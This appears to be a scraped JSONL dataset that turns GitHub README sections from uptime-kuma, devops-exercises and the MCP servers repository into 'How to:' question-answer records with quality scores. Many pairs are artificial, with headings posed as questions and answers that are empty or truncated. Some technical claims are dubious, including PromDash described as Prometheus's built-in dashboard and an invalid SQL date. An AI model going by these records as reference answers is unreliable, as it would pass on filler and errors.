{"id": "gh_9e3f2664ced3", "question": "How to: 🆕 What's Next?", "question_body": "About louislam/uptime-kuma", "answer": "I will assign requests/issues to the next milestone.", "tags": ["louislam"], "source": "github_gists", "category": "louislam", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 81481, "answer_score": 10, "has_code": false, "url": "https://github.com/louislam/uptime-kuma", "collected_at": "2026-01-16T23:29:45.883760"}
{"id": "gh_e7008bdb0b8b", "question": "How to: ❤️ Sponsors", "question_body": "About louislam/uptime-kuma", "answer": "Thank you so much! (GitHub Sponsors will be updated manually. OpenCollective sponsors will be updated automatically, the list will be cached by GitHub though. It may need some time to be updated)", "tags": ["louislam"], "source": "github_gists", "category": "louislam", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 81481, "answer_score": 10, "has_code": false, "url": "https://github.com/louislam/uptime-kuma", "collected_at": "2026-01-16T23:29:45.883766"}
{"id": "gh_0258a4baacb6", "question": "How to: 🖼 More Screenshots", "question_body": "About louislam/uptime-kuma", "answer": "Light Mode:\nStatus Page:\nSettings Page:\nTelegram Notification Sample:", "tags": ["louislam"], "source": "github_gists", "category": "louislam", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 81481, "answer_score": 10, "has_code": false, "url": "https://github.com/louislam/uptime-kuma", "collected_at": "2026-01-16T23:29:45.883774"}
{"id": "gh_5ca253ee3750", "question": "How to: Motivation", "question_body": "About louislam/uptime-kuma", "answer": "- I was looking for a self-hosted monitoring tool like \"Uptime Robot\", but it is hard to find a suitable one. One of the closest ones is statping. Unfortunately, it is not stable and no longer maintained.\n- Wanted to build a fancy UI.\n- Learn Vue 3 and vite.js.\n- Show the power of Bootstrap 5.\n- Try to use WebSocket with SPA instead of a REST API.\n- Deploy my first Docker image to Docker Hub.\n\nIf you love this project, please consider giving it a ⭐.", "tags": ["louislam"], "source": "github_gists", "category": "louislam", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 81481, "answer_score": 10, "has_code": false, "url": "https://github.com/louislam/uptime-kuma", "collected_at": "2026-01-16T23:29:45.883782"}
{"id": "gh_855b1cb39c9b", "question": "How to: 🗣️ Discussion / Ask for Help", "question_body": "About louislam/uptime-kuma", "answer": "⚠️ For any general or technical questions, please don't send me an email, as I am unable to provide support in that manner. I will not respond if you ask questions there.\n\nI recommend using Google, GitHub Issues, or Uptime Kuma's subreddit for finding answers to your question. If you cannot find the information you need, feel free to ask:\n\n- [GitHub Issues](https://github.com/louislam/uptime-kuma/issues)\n- [Subreddit (r/UptimeKuma)](https://www.reddit.com/r/UptimeKuma/)\n\nMy Reddit account: [u/louislamlam](https://reddit.com/u/louislamlam)\nYou can mention me if you ask a question on the subreddit.", "tags": ["louislam"], "source": "github_gists", "category": "louislam", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 81481, "answer_score": 10, "has_code": false, "url": "https://github.com/louislam/uptime-kuma", "collected_at": "2026-01-16T23:29:45.883791"}
{"id": "gh_b93d1886ec6a", "question": "How to: Create Pull Requests", "question_body": "About louislam/uptime-kuma", "answer": "Pull requests are awesome.\nTo keep reviews fast and effective, please make sure you’ve [read our pull request guidelines](https://github.com/louislam/uptime-kuma/blob/master/CONTRIBUTING.md#can-i-create-a-pull-request-for-uptime-kuma).", "tags": ["louislam"], "source": "github_gists", "category": "louislam", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 81481, "answer_score": 10, "has_code": false, "url": "https://github.com/louislam/uptime-kuma", "collected_at": "2026-01-16T23:29:45.883798"}
{"id": "gh_6bcd2709b1ea", "question": "How to: Test Pull Requests", "question_body": "About louislam/uptime-kuma", "answer": "There are a lot of pull requests right now, but I don't have time to test them all.\n\nIf you want to help, you can check this:", "tags": ["louislam"], "source": "github_gists", "category": "louislam", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 81481, "answer_score": 10, "has_code": false, "url": "https://github.com/louislam/uptime-kuma", "collected_at": "2026-01-16T23:29:45.883803"}
{"id": "gh_f31d99c8019d", "question": "How to: Test Beta Version", "question_body": "About louislam/uptime-kuma", "answer": "Check out the latest beta release here:", "tags": ["louislam"], "source": "github_gists", "category": "louislam", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 81481, "answer_score": 10, "has_code": false, "url": "https://github.com/louislam/uptime-kuma", "collected_at": "2026-01-16T23:29:45.883808"}
{"id": "gh_721b6eed2c58", "question": "How to: Bug Reports / Feature Requests", "question_body": "About louislam/uptime-kuma", "answer": "If you want to report a bug or request a new feature, feel free to open a [new issue](https://github.com/louislam/uptime-kuma/issues).", "tags": ["louislam"], "source": "github_gists", "category": "louislam", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 81481, "answer_score": 10, "has_code": false, "url": "https://github.com/louislam/uptime-kuma", "collected_at": "2026-01-16T23:29:45.883813"}
{"id": "gh_ce5a98914080", "question": "How to: Translations", "question_body": "About louislam/uptime-kuma", "answer": "If you want to translate Uptime Kuma into your language, please visit [Weblate Readme](https://github.com/louislam/uptime-kuma/blob/master/src/lang/README.md).", "tags": ["louislam"], "source": "github_gists", "category": "louislam", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 81481, "answer_score": 10, "has_code": false, "url": "https://github.com/louislam/uptime-kuma", "collected_at": "2026-01-16T23:29:45.883819"}
{"id": "gh_fa89edff75cc", "question": "How to: Spelling & Grammar", "question_body": "About louislam/uptime-kuma", "answer": "Feel free to correct the grammar in the documentation or code.\nMy mother language is not English and my grammar is not that great.", "tags": ["louislam"], "source": "github_gists", "category": "louislam", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 81481, "answer_score": 10, "has_code": false, "url": "https://github.com/louislam/uptime-kuma", "collected_at": "2026-01-16T23:29:45.883824"}
{"id": "gh_87387bc7f291", "question": "How to: DevOps Applications", "question_body": "About bregman-arie/devops-exercises", "answer": "KubePrep\nLinux Master\nSystem Design Hero", "tags": ["bregman-arie"], "source": "github_gists", "category": "bregman-arie", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 80675, "answer_score": 10, "has_code": false, "url": "https://github.com/bregman-arie/devops-exercises", "collected_at": "2026-01-16T23:29:58.695016"}
{"id": "gh_fd573caa31b3", "question": "How to: Operating System Exercises", "question_body": "About bregman-arie/devops-exercises", "answer": "|Name|Topic|Objective & Instructions|Solution|Comments|\n|--------|--------|------|----|----|\n|Fork 101|Fork|[Link](topics/os/fork_101.md)|[Link](topics/os/solutions/fork_101_solution.md)\n|Fork 102|Fork|[Link](topics/os/fork_102.md)|[Link](topics/os/solutions/fork_102_solution.md)", "tags": ["bregman-arie"], "source": "github_gists", "category": "bregman-arie", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 80675, "answer_score": 10, "has_code": false, "url": "https://github.com/bregman-arie/devops-exercises", "collected_at": "2026-01-16T23:29:58.695101"}
{"id": "gh_d2994f7331c8", "question": "How to: Operating System - Self Assessment", "question_body": "About bregman-arie/devops-exercises", "answer": "What is an operating system?\nFrom the book \"Operating Systems: Three Easy Pieces\":\n\n\"responsible for making it easy to run programs (even allowing you to seemingly run many at the same time), allowing programs to share memory, enabling programs to interact with devices, and other fun stuff like that\".\n#### Operating System - Process\nCan you explain what is a process?\nA process is a running program. A program is one or more instructions and the program (or process) is executed by the operating system.\nIf you had to design an API for processes in an operating system, what would this API look like?\nIt would support the following:\n\n* Create - allow to create new processes\n* Delete - allow to remove/destroy processes\n* State - allow to check the state of the process, whether it's running, stopped, waiting, etc.\n* Stop - allow to stop a running process\nHow a process is created?\n* The OS is reading program's code and any additional relevant data\n* Program's code is loaded into the memory or more specifically, into the address space of the process.\n* Memory is allocated for program's stack (aka run-time stack). The stack also initialized by the OS with data like argv, argc and parameters to main()\n* Memory is allocated for program's heap which is required for dynamically allocated data like the data structures linked lists and hash tables\n* I/O initialization tasks are performed, like in Unix/Linux based systems, where each process has 3 file descriptors (input, output and error)\n* OS is running the program, starting from main()\nTrue or False? The loading of the program into the memory is done eagerly (all at once)\nFalse. It was true in the past but today's operating systems perform lazy loading, which means only the relevant pieces required for the process to run are loaded first.\nWhat are different states of a process?\n* Running - it's executing instructions\n* Ready - it's ready to run, but for different reasons it's on hold\n* Blocked - it's waiting for some operation to complete, for example I/O disk request\nWhat are some reasons for a process to become blocked?\n- I/O operations (e.g. Reading from a disk)\n  - Waiting for a packet from a network\nWhat is Inter Process Communication (IPC)?\nInter-process communication (IPC) refers to the mechanisms provided by an operating system that allow processes to manage shared data.\nWhat is \"time sharing\"?\nEven when using a system with one physical CPU, it's possible to allow multiple users to work on it and run programs. This is possible with time sharing, where computing resources are shared in a way it seems to the user, the system has multiple CPUs, but in fact it's simply one CPU shared by applying multiprogramming and multi-tasking.\nWhat is \"space sharing\"?\nSomewhat the opposite of time sharing. While in time sharing a resource is used for a while by one entity and then the same resource can be used by another resource, in space sharing the space is shared by multiple entities but in a way where it's not being transferred between them.\nIt's used by one entity, until this entity decides to get rid of it. Take for example storage. In storage, a file is yours, until you decide to delete it.\nWhat component determines which process runs at a given moment in time?\nCPU scheduler\n#### Operating System - Memory\nWhat is \"virtual memory\" and what purpose does serve?\nVirtual memory combines your computer's RAM with temporary space on your hard disk. When RAM runs low, virtual memory helps to move data from RAM to a space called a paging file. Moving data to paging file can free up the RAM, so your computer can complete its work. In general, the more RAM your computer has, the faster the programs run.\nhttps://www.minitool.com/lib/virtual-memory.html\nWhat is demand paging?\nDemand paging is a memory management technique where pages are loaded into physical memory only when accessed by a process. It optimizes memory usage by loading pages on demand, reducing startup latency and space overhead. However, it introduces some latency when accessing pages for the first time. Overall, it’s a cost-effective approach for managing memory resources in operating systems.\nWhat is copy-on-write?\nCopy-on-write (COW) is a resource management concept, with the goal to reduce unneces", "tags": ["bregman-arie"], "source": "github_gists", "category": "bregman-arie", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 80675, "answer_score": 10, "has_code": false, "url": "https://github.com/bregman-arie/devops-exercises", "collected_at": "2026-01-16T23:29:58.695136"}
{"id": "gh_d797e7c1c8e6", "question": "How to: Virtualization", "question_body": "About bregman-arie/devops-exercises", "answer": "What is Virtualization?\nVirtualization uses software to create an abstraction layer over computer hardware, that allows the hardware elements of a single computer - processors, memory, storage and more - to be divided into multiple virtual computers, commonly called virtual machines (VMs).\nWhat is a hypervisor?\nRed Hat: \"A hypervisor is software that creates and runs virtual machines (VMs). A hypervisor, sometimes called a virtual machine monitor (VMM), isolates the hypervisor operating system and resources from the virtual machines and enables the creation and management of those VMs.\"\n\nRead more [here](https://www.redhat.com/en/topics/virtualization/what-is-a-hypervisor)\nWhat types of hypervisors are there?\nHosted hypervisors and bare-metal hypervisors.\nWhat are the advantages and disadvantages of bare-metal hypervisor over a hosted hypervisor?\nDue to having its own drivers and a direct access to hardware components, a baremetal hypervisor will often have better performances along with stability and scalability.\n\nOn the other hand, there will probably be some limitation regarding loading (any) drivers so a hosted hypervisor will usually benefit from having a better hardware compatibility.\nWhat types of virtualization are there?\nOperating system virtualization\nNetwork functions virtualization\nDesktop virtualization\nIs containerization a type of Virtualization?\nYes, it's a operating-system-level virtualization, where the kernel is shared and allows to use multiple isolated user-spaces instances.\nHow the introduction of virtual machines changed the industry and the way applications were deployed?\nThe introduction of virtual machines allowed companies to deploy multiple business applications on the same hardware, while each application is separated from each other in secured way, where each is running on its own separate operating system.\n#### Virtual Machines\nDo we need virtual machines in the age of containers? Are they still relevant?\nYes, virtual machines are still relevant even in the age of containers. While containers provide a lightweight and portable alternative to virtual machines, they do have certain limitations. Virtual machines still matter because they offer isolation and security, can run different operating systems, and are good for legacy apps. Containers limitations for example are sharing the host kernel.", "tags": ["bregman-arie"], "source": "github_gists", "category": "bregman-arie", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 80675, "answer_score": 10, "has_code": false, "url": "https://github.com/bregman-arie/devops-exercises", "collected_at": "2026-01-16T23:29:58.695149"}
{"id": "gh_af543f5e5697", "question": "How to: Prometheus", "question_body": "About bregman-arie/devops-exercises", "answer": "What is Prometheus? What are some of Prometheus's main features?\nPrometheus is a popular open-source systems monitoring and alerting toolkit, originally developed at SoundCloud. It is designed to collect and store time-series data, and to allow for querying and analysis of that data using a powerful query language called PromQL. Prometheus is frequently used to monitor cloud-native applications, microservices, and other modern infrastructure.\n\nSome of the main features of Prometheus include:\n\n    1. Data model: Prometheus uses a flexible data model that allows users to organize and label their time-series data in a way that makes sense for their particular use case. Labels are used to identify different dimensions of the data, such as the source of the data or the environment in which it was collected.\n\n    2. Pull-based architecture: Prometheus uses a pull-based model to collect data from targets, meaning that the Prometheus server actively queries its targets for metrics data at regular intervals. This architecture is more scalable and reliable than a push-based model, which would require every target to push data to the server.\n\n    3. Time-series database: Prometheus stores all of its data in a time-series database, which allows users to perform queries over time ranges and to aggregate and analyze their data in various ways. The database is optimized for write-heavy workloads, and can handle a high volume of data with low latency.\n\n    4. Alerting: Prometheus includes a powerful alerting system that allows users to define rules based on their metrics data and to send alerts when certain conditions are met. Alerts can be sent via email, chat, or other channels, and can be customized to include specific details about the problem.\n\n    5. Visualization: Prometheus has a built-in graphing and visualization tool, called PromDash, which allows users to create custom dashboards to monitor their systems and applications. PromDash supports a variety of graph types and visualization options, and can be customized using CSS and JavaScript.\n\nOverall, Prometheus is a powerful and flexible tool for monitoring and analyzing systems and applications, and is widely used in the industry for cloud-native monitoring and observability.\nIn what scenarios it might be better to NOT use Prometheus?\nFrom Prometheus documentation: \"if you need 100% accuracy, such as for per-request billing\".\nDescribe Prometheus architecture and components\nThe Prometheus architecture consists of four major components:\n\n    1. Prometheus Server: The Prometheus server is responsible for collecting and storing metrics data. It has a simple built-in storage layer that allows it to store time-series data in a time-ordered database.\n\n    2. Client Libraries: Prometheus provides a range of client libraries that enable applications to expose their metrics data in a format that can be ingested by the Prometheus server. These libraries are available for a range of programming languages, including Java, Python, and Go.\n\n    3. Exporters: Exporters are software components that expose existing metrics from third-party systems and make them available for ingestion by the Prometheus server. Prometheus provides exporters for a range of popular technologies, including MySQL, PostgreSQL, and Apache.\n\n    4. Alertmanager: The Alertmanager component is responsible for processing alerts generated by the Prometheus server. It can handle alerts from multiple sources and provides a range of features for deduplicating, grouping, and routing alerts to appropriate channels.\n\nOverall, the Prometheus architecture is designed to be highly scalable and resilient. The server and client libraries can be deployed in a distributed fashion to support monitoring across large-scale, highly dynamic environments\nCan you compare Prometheus to other solutions like InfluxDB for example?\nCompared to other monitoring solutions, such as InfluxDB, Prometheus is known for its high performance and scalability. It can handle large volumes of data and can easily be integrated with other tools in the monitoring ecosystem. InfluxDB, on the other hand, is known for its ease of use and simplicity. It has a user-friendly interface and provides easy-to-use APIs for collecting and querying data.\n\nAnother popular solution, Nagios, is a more traditional monitoring system that relies on a push-based model for collecting data. Nagios has been around for a long time and is known for its stability and reliability. However, compared to Prometheus, Nagios lacks some of the more advanced features, such as multi-dimensional data model and powerful query language.\n\nOverall, the choice of a monitoring solution depends on the specific needs and requirements of the organization. While Prometheus is a great choice for large-", "tags": ["bregman-arie"], "source": "github_gists", "category": "bregman-arie", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 80675, "answer_score": 10, "has_code": true, "url": "https://github.com/bregman-arie/devops-exercises", "collected_at": "2026-01-16T23:29:58.695173"}
{"id": "gh_a97b3f572752", "question": "How to: SQL Exercises", "question_body": "About bregman-arie/devops-exercises", "answer": "|Name|Topic|Objective & Instructions|Solution|Comments|\n|--------|--------|------|----|----|\n| Functions vs. Comparisons | Query Improvements | [Exercise](topics/sql/improve_query.md) | [Solution](topics/sql/solutions/improve_query.md)", "tags": ["bregman-arie"], "source": "github_gists", "category": "bregman-arie", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 80675, "answer_score": 10, "has_code": false, "url": "https://github.com/bregman-arie/devops-exercises", "collected_at": "2026-01-16T23:29:58.695196"}
{"id": "gh_3b669489ffc2", "question": "How to: SQL Self Assessment", "question_body": "About bregman-arie/devops-exercises", "answer": "What is SQL?\nSQL (Structured Query Language) is a standard language for relational databases (like MySQL, MariaDB, ...).\nIt's used for reading, updating, removing and creating data in a relational database.\nHow is SQL Different from NoSQL\nThe main difference is that SQL databases are structured (data is stored in the form of\ntables with rows and columns - like an excel spreadsheet table) while NoSQL is\nunstructured, and the data storage can vary depending on how the NoSQL DB is set up, such\nas key-value pair, document-oriented, etc.\nWhen is it best to use SQL? NoSQL?\nSQL - Best used when data integrity is crucial. SQL is typically implemented with many\nbusinesses and areas within the finance field due to it's ACID compliance.\n\nNoSQL - Great if you need to scale things quickly. NoSQL was designed with web applications\nin mind, so it works great if you need to quickly spread the same information around to\nmultiple servers\n\nAdditionally, since NoSQL does not adhere to the strict table with columns and rows structure\nthat Relational Databases require, you can store different data types together.\n##### Practical SQL - Basics\n\nFor these questions, we will be using the Customers and Orders tables shown below:\n\n**Customers**\n\nCustomer_ID | Customer_Name | Items_in_cart | Cash_spent_to_Date\n------------ | ------------- | ------------- | -------------\n100204 | John Smith | 0 | 20.00\n100205 | Jane Smith | 3 | 40.00\n100206 | Bobby Frank | 1 | 100.20\n\n**ORDERS**\n\nCustomer_ID | Order_ID | Item | Price | Date_sold\n------------ | ------------- | ------------- | ------------- | -------------\n100206 | A123 | Rubber Ducky | 2.20 | 2019-09-18\n100206 | A123 | Bubble Bath | 8.00 | 2019-09-18\n100206 | Q987 | 80-Pack TP | 90.00 | 2019-09-20\n100205 | Z001 | Cat Food - Tuna Fish | 10.00 | 2019-08-05\n100205 | Z001 | Cat Food - Chicken | 10.00 | 2019-08-05\n100205 | Z001 | Cat Food - Beef | 10.00 | 2019-08-05\n100205 | Z001 | Cat Food - Kitty quesadilla | 10.00 | 2019-08-05\n100204 | X202 | Coffee | 20.00 | 2019-04-29\nHow would I select all fields from this table?\nSelect *\nFrom Customers;\nHow many items are in John's cart?\nSelect Items_in_cart\nFrom Customers\nWhere Customer_Name = \"John Smith\";\nWhat is the sum of all the cash spent across all customers?\nSelect SUM(Cash_spent_to_Date) as SUM_CASH\nFrom Customers;\nHow many people have items in their cart?\nSelect count(1) as Number_of_People_w_items\nFrom Customers\nwhere Items_in_cart > 0;\nHow would you join the customer table to the order table?\nYou would join them on the unique key. In this case, the unique key is Customer_ID in\nboth the Customers table and Orders table\nHow would you show which customer ordered which items?\nSelect c.Customer_Name, o.Item\nFrom Customers c\nLeft Join Orders o\nOn c.Customer_ID = o.Customer_ID;\nUsing a with statement, how would you show who ordered cat food, and the total amount of money spent?\nwith cat_food as (\nSelect Customer_ID, SUM(Price) as TOTAL_PRICE\nFrom Orders\nWhere Item like \"%Cat Food%\"\nGroup by Customer_ID\n)\nSelect Customer_name, TOTAL_PRICE\nFrom Customers c\nInner JOIN cat_food f\nON c.Customer_ID = f.Customer_ID\nwhere c.Customer_ID in (Select Customer_ID from cat_food);\n\nAlthough this was a simple statement, the \"with\" clause really shines when\na complex query needs to be run on a table before joining to another. With statements are nice,\nbecause you create a pseudo temp when running your query, instead of creating a whole new table.\n\nThe Sum of all the purchases of cat food weren't readily available, so we used a with statement to create\nthe pseudo table to retrieve the sum of the prices spent by each customer, then join the table normally.\nWhich of the following queries would you use?\n\n```\nSELECT count(*)                             SELECT count(*)\nFROM shawarma_purchases                     FROM shawarma_purchases\nWHERE                               vs.     WHERE\n  YEAR(purchased_at) == '2017'              purchased_at >= '2017-01-01' AND\n                                            purchased_at <= '2017-31-12'\n```\n```\nSELECT count(*)\nFROM shawarma_purchases\nWHERE\n  purchased_at >= '2017-01-01' AND\n  purchased_at <= '2017-31-12'\n```\n\nWhen you use a function (`YEAR(purchased_at)`) it has to scan the whole database as opposed to using indexes and basically the column as it is, in its natura", "tags": ["bregman-arie"], "source": "github_gists", "category": "bregman-arie", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 80675, "answer_score": 10, "has_code": true, "url": "https://github.com/bregman-arie/devops-exercises", "collected_at": "2026-01-16T23:29:58.695212"}
{"id": "gh_85040dfb72d9", "question": "How to: Distributed", "question_body": "About bregman-arie/devops-exercises", "answer": "Explain Distributed Computing (or Distributed System)\nAccording to Martin Kleppmann:\n\n\"Many processes running on many machines...only message-passing via an unreliable network with variable delays, and the system may suffer from partial failures, unreliable clocks, and process pauses.\"\n\nAnother definition: \"Systems that are physically separated, but logically connected\"\nWhat can cause a system to fail?\n* Network\n* CPU\n* Memory\n* Disk\nDo you know what is \"CAP theorem\"? (aka as Brewer's theorem)\nAccording to the CAP theorem, it's not possible for a distributed data store to provide more than two of the following at the same time:\n\n* Availability: Every request receives a response (it doesn't has to be the most recent data)\n* Consistency: Every request receives a response with the latest/most recent data\n* Partition tolerance: Even if some the data is lost/dropped, the system keeps running\nWhat are the problems with the following design? How to improve it?\n1. The transition can take time. In other words, noticeable downtime.\n2. Standby server is a waste of resources - if first application server is running then the standby does nothing\nWhat are the problems with the following design? How to improve it?\nIssues:\nIf load balancer dies , we lose the ability to communicate with the application.\n\nWays to improve:\n* Add another load balancer\n* Use DNS A record for both load balancers\n* Use message queue\nWhat is \"Shared-Nothing\" architecture?\nIt's an architecture in which data is and retrieved from a single, non-shared, source usually exclusively connected to one node as opposed to architectures where the request can get to one of many nodes and the data will be retrieved from one shared location (storage, memory, ...).\nExplain the Sidecar Pattern (Or sidecar proxy)", "tags": ["bregman-arie"], "source": "github_gists", "category": "bregman-arie", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 80675, "answer_score": 10, "has_code": false, "url": "https://github.com/bregman-arie/devops-exercises", "collected_at": "2026-01-16T23:29:58.695300"}
{"id": "gh_025ae920707a", "question": "How to: Questions you CAN ask", "question_body": "About bregman-arie/devops-exercises", "answer": "A list of questions you as a candidate can ask the interviewer during or after the interview.\nThese are only a suggestion, use them carefully. Not every interviewer will be able to answer these (or happy to) which should be perhaps a red flag warning for your regarding working in such place but that's really up to you.\nWhat do you like about working here?\nHow does the company promote personal growth?\nWhat is the current level of technical debt you are dealing with?\nBe careful when asking this question - all companies, regardless of size, have some level of tech debt.\nPhrase the question in the light that all companies have the deal with this, but you want to see the current\npain points they are dealing with\nThis is a great way to figure how managers deal with unplanned work, and how good they are at\nsetting expectations with projects.\nWhy I should NOT join you? (or 'what you don't like about working here?')\nWhat was your favorite project you've worked on?\nThis can give you insights in some of the cool projects a company is working on, and if\nyou would enjoy working on projects like these. This is also a good way to see if\nthe managers are allowing employees to learn and grow with projects outside of the\nnormal work you'd do.\nIf you could change one thing about your day to day, what would it be?\nSimilar to the tech debt question, this helps you identify any pain points with the company.\nAdditionally, it can be a great way to show how you'd be an asset to the team.\nFor Example, if they mention they have problem X, and you've solved that in the past,\nyou can show how you'd be able to mitigate that problem.\nLet's say that we agree and you hire me to this position, after X months, what do you expect that I have achieved?\nNot only this will tell you what is expected from you, it will also provide big hint on the type of work you are going to do in the first months of your job.", "tags": ["bregman-arie"], "source": "github_gists", "category": "bregman-arie", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 80675, "answer_score": 10, "has_code": false, "url": "https://github.com/bregman-arie/devops-exercises", "collected_at": "2026-01-16T23:29:58.695339"}
{"id": "gh_016e84385b6b", "question": "How to: System Design", "question_body": "About bregman-arie/devops-exercises", "answer": "Explain what a \"single point of failure\" is.\nA \"single point of failure\", in a system or organization, if it were to fail would cause the entire system to fail or significantly disrupt it's operation. In other words, it is a vulnerability where there\nis no backup in place to compensate for the failure.\nWhat is CDN?\nCDN (Content Delivery Network) responsible for distributing content geographically. Part of it, is what is known as edge locations, aka cache proxies, that allows users to get their content quickly due to cache features and geographical distribution.\nExplain Multi-CDN\nIn single CDN, the whole content is originated from content delivery network.\nIn multi-CDN, content is distributed across multiple different CDNs, each might be on a completely different provider/cloud.\nWhat are the benefits of Multi-CDN over a single CDN?\n* Resiliency: Relying on one CDN means no redundancy. With multiple CDNs you don't need to worry about your CDN being down\n* Flexibility in Costs: Using one CDN enforces you to specific rates of that CDN. With multiple CDNs you can take into consideration using less expensive CDNs to deliver the content.\n* Performance: With Multi-CDN there is bigger potential in choosing better locations which more close to the client asking the content\n* Scale: With multiple CDNs, you can scale services to support more extreme conditions\nExplain \"3-Tier Architecture\" (including pros and cons)\nA \"3-Tier Architecture\" is a pattern used in software development for designing and structuring applications. It divides the application into 3 interconnected layers: Presentation, Business logic and Data storage.  \nPROS: \n* Scalability\n* Security\n* Reusability\nCONS:\n* Complexity\n* Performance overhead\n* Cost and development time\nExplain Mono-repo vs. Multi-repo.What are the cons and pros of each approach?\nIn a Mono-repo, all the code for an organization is stored in a single,centralized repository.\nPROS (Mono-repo):\n* Unified tooling\n* Code Sharing\nCONS (Mono-repo):\n* Increased complexity\n* Slower cloning\n\nIn a Multi-repo setup, each component is stored in it's own separate repository. Each repository has it's own version control history.\nPROS (Multi-repo):\n* Simpler to manage\n* Different teams and developers can work on different parts of the project independently, making parallel development easier.\nCONS (Multi-repo):\n* Code duplication\n* Integration challenges\nWhat are the drawbacks of monolithic architecture?\n* Not suitable for frequent code changes and the ability to deploy new features\n* Not designed for today's infrastructure (like public clouds)\n* Scaling a team to work monolithic architecture is more challenging\n* If a single component in this architecture fails, then the entire application fails.\nWhat are the advantages of microservices architecture over a monolithic architecture?\n* Each of the services individually fail without escalating into an application-wide outage.\n* Each service can be developed and maintained by a separate team and this team can choose its own tools and coding language\nWhat's a service mesh?\nIt is a layer that facilitates communication management and control between microservices in a containerized application. It handles tasks such as load balancing, encryption, and monitoring.\nExplain \"Loose Coupling\"\nIn \"Loose Coupling\", components of a system communicate with each other with a little understanding of each other's internal workings. This improves scalability and ease of modification in complex systems.\nWhat is a message queue? When is it used?\nIt is a communication mechanism used in distributed systems to enable asynchronous communication between different components. It is generally used when the systems use a microservices approach.\n#### Scalability\nExplain Scalability\nThe ability easily grow in size and capacity based on demand and usage.\nExplain Elasticity\nThe ability to grow but also to reduce based on what is required\nExplain Disaster Recovery\nDisaster recovery is the process of restoring critical business systems and data after a disruptive event. The goal is to minimize the impact and resume normal business activities quickly. This involves creating a plan, testing it, backing up critical data, and storing it in safe locations. In case of a disaste", "tags": ["bregman-arie"], "source": "github_gists", "category": "bregman-arie", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 80675, "answer_score": 10, "has_code": false, "url": "https://github.com/bregman-arie/devops-exercises", "collected_at": "2026-01-16T23:29:58.695380"}
{"id": "gh_a277292edc93", "question": "How to: Certificates", "question_body": "About bregman-arie/devops-exercises", "answer": "If you are looking for a way to prepare for a certain exam this is the section for you. Here you'll find a list of certificates, each references to a separate file with focused questions that will help you to prepare to the exam. Good luck :)\n\n#### AWS\n\n* [Cloud Practitioner](certificates/aws-cloud-practitioner.md) (Latest update: 2020)\n* [Solutions Architect Associate](certificates/aws-solutions-architect-associate.md) (Latest update: 2021)\n* [Cloud SysOps Administration Associate](certificates/aws-cloud-sysops-associate.md) (Latest update: Oct 2022)\n\n#### Azure\n\n* [AZ-900](certificates/azure-fundamentals-az-900.md) (Latest update: 2021)\n\n#### Kubernetes\n\n* [Certified Kubernetes Administrator (CKA)](topics/kubernetes/CKA.md) (Latest update: 2022)", "tags": ["bregman-arie"], "source": "github_gists", "category": "bregman-arie", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 80675, "answer_score": 10, "has_code": false, "url": "https://github.com/bregman-arie/devops-exercises", "collected_at": "2026-01-16T23:29:58.695416"}
{"id": "gh_83fa376374ad", "question": "How to: Additional DevOps and SRE Projects", "question_body": "About bregman-arie/devops-exercises", "answer": "", "tags": ["bregman-arie"], "source": "github_gists", "category": "bregman-arie", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 80675, "answer_score": 10, "has_code": false, "url": "https://github.com/bregman-arie/devops-exercises", "collected_at": "2026-01-16T23:29:58.695421"}
{"id": "gh_7453873de90f", "question": "How to: 🌟 Reference Servers", "question_body": "About modelcontextprotocol/servers", "answer": "These servers aim to demonstrate MCP features and the official SDKs.\n\n- **[Everything](src/everything)** - Reference / test server with prompts, resources, and tools.\n- **[Fetch](src/fetch)** - Web content fetching and conversion for efficient LLM usage.\n- **[Filesystem](src/filesystem)** - Secure file operations with configurable access controls.\n- **[Git](src/git)** - Tools to read, search, and manipulate Git repositories.\n- **[Memory](src/memory)** - Knowledge graph-based persistent memory system.\n- **[Sequential Thinking](src/sequentialthinking)** - Dynamic and reflective problem-solving through thought sequences.\n- **[Time](src/time)** - Time and timezone conversion capabilities.", "tags": ["modelcontextprotocol"], "source": "github_gists", "category": "modelcontextprotocol", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 76385, "answer_score": 10, "has_code": false, "url": "https://github.com/modelcontextprotocol/servers", "collected_at": "2026-01-16T23:30:02.760643"}
{"id": "gh_75c287a5a804", "question": "How to: 🤝 Third-Party Servers", "question_body": "About modelcontextprotocol/servers", "answer": "> [!NOTE]\nThe server lists in this README are no longer maintained and will eventually be removed.", "tags": ["modelcontextprotocol"], "source": "github_gists", "category": "modelcontextprotocol", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 76385, "answer_score": 10, "has_code": false, "url": "https://github.com/modelcontextprotocol/servers", "collected_at": "2026-01-16T23:30:02.760660"}
